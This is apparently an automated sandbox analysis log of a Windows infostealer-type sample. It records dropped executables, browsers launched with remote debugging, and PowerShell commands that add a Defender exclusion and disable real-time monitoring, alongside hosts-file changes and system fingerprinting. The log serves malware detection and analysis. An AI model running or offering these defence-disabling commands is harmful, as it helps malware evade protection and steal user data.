Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE89430	0_2_6CE89430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE2D410	0_2_6CE2D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE255F0	0_2_6CE255F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD9590	0_2_6CDD9590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB5510	0_2_6CDB5510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE07500	0_2_6CE07500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEF510	0_2_6CEEF510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE096A0	0_2_6CE096A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD16A0	0_2_6CDD16A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB9650	0_2_6CDB9650

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDFC5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CED9F30 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF2D930 appears 63 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDC3620 appears 96 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDC9B10 appears 107 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF2DAE0 appears 81 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF209D0 appears 329 times

Source: filer.exe.23.dr	Static PE information: Number of sections : 11 > 10
Source: filer[1].exe.23.dr	Static PE information: Number of sections : 11 > 10

Source: file.exe, 00000000.00000002.1940149579.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ztloqtqa ZLIB complexity 0.9948904387108792
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981426685967303
Source: DocumentsBGIJJKKJJD.exe.0.dr	Static PE information: Section: cyvkeaon ZLIB complexity 0.9947722589205059
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982926324503312
Source: random[1].exe.0.dr	Static PE information: Section: zzqvcapk ZLIB complexity 0.9944043429392688
Source: skotes.exe.21.dr	Static PE information: Section: ZLIB complexity 0.9981426685967303
Source: skotes.exe.21.dr	Static PE information: Section: cyvkeaon ZLIB complexity 0.9947722589205059

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.winEXE@126/240@40/38

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE00300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CE00300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\HPLKPYR3.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8320:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2548:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Mutant created: \Sessions\1\BaseNamedObjects\085f229d-d27d-4fc1-9dc1-8958125ccbd9
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7748:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8360:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\206e41b0-90b8-4cec-be39-c4eb46426162.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe

System information queried: HandleInformation

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Name FROM WIN32_PROCESSOR
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000000.00000002.1923993216.000000001DA74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1939045251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.1923993216.000000001DA74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1939045251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1923993216.000000001DA74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1939045251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1923993216.000000001DA74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1939045251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: filer.exe, filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: file.exe, file.exe, 00000000.00000002.1923993216.000000001DA74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1939045251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, filer.exe, filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1923993216.000000001DA74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1939045251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1923993216.000000001DA74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1939045251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.1664493026.000000001D97B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1574822504.000000001D979000.00000004.00000020.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2770395820.000001D7EEC85000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2772250748.000001D7EED60000.00000004.00001000.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2847004992.0000000005B78000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2813200471.0000000005B78000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2848547159.0000000005BFD000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2982035120.00000000059B7000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2984804367.0000000005988000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3013070891.00000000059B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1923993216.000000001DA74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1939045251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, filer.exe, filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.1923993216.000000001DA74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1939045251.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsBGIJJKKJJD.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: filer.exe	String found in binary or memory: C:/Program Files/Go/src/net/addrselect.go
Source: filer.exe	String found in binary or memory: data/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: VirtualQuery failed
Source: filer.exe	String found in binary or memory: data/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: VirtualQuery failed
Source: filer.exe	String found in binary or memory: slateNameWgetprotobyname procedure in winapi error #RegSetValueExWSystrayMonitorFyne error: %v ... omitting arrow-back.svgarrow-down.svgfile-audio.svgfile-image.svgfile-video.svgfolder-new.svgmail-reply.svgmedia-play.svgmedia-stop.svgvisibility.svgcolorChromat
Source: filer.exe	String found in binary or memory: C:/Users/Tundara/go/pkg/mod/fyne.io/fyne/v2@v2.5.2/internal/metadata/load.go
Source: filer.exe	String found in binary or memory: current map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:second
Source: filer.exe	String found in binary or memory: current map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:second
Source: filer.exe	String found in binary or memory: tupInfoWProcess32FirstWUnmapViewOfFileFailed to load Failed to find RegCreateKeyExWRegDeleteValueWnot a valid URImenu-expand.svgcontent-add.svgcontent-cut.svgfolder-open.svgmedia-music.svgmedia-photo.svgmedia-video.svgmedia-pause.svgvolume-down.svgvolume-mute.

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2232,i,1000495704837630043,6149474201406527679,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2284,i,12294097546187704604,12774697374561452426,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6780 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBGIJJKKJJD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBGIJJKKJJD.exe "C:\Users\user\DocumentsBGIJJKKJJD.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6916 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe "C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe"
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic cpu get Name
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe "C:\Users\user~1\AppData\Local\Temp\1009393001\60114bff78.exe"
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get UUID
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process created: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Source: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe	Process created: C:\Users\user\AppData\Local\Temp\1009399001\Tq4a1Bz.exe "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe "C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe "C:\Users\user~1\AppData\Local\Temp\1009401001\6af0f0d802.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe "C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe "C:\Users\user~1\AppData\Local\Temp\1009402001\1623118d84.exe"
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBGIJJKKJJD.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2232,i,1000495704837630043,6149474201406527679,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2284,i,12294097546187704604,12774697374561452426,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8
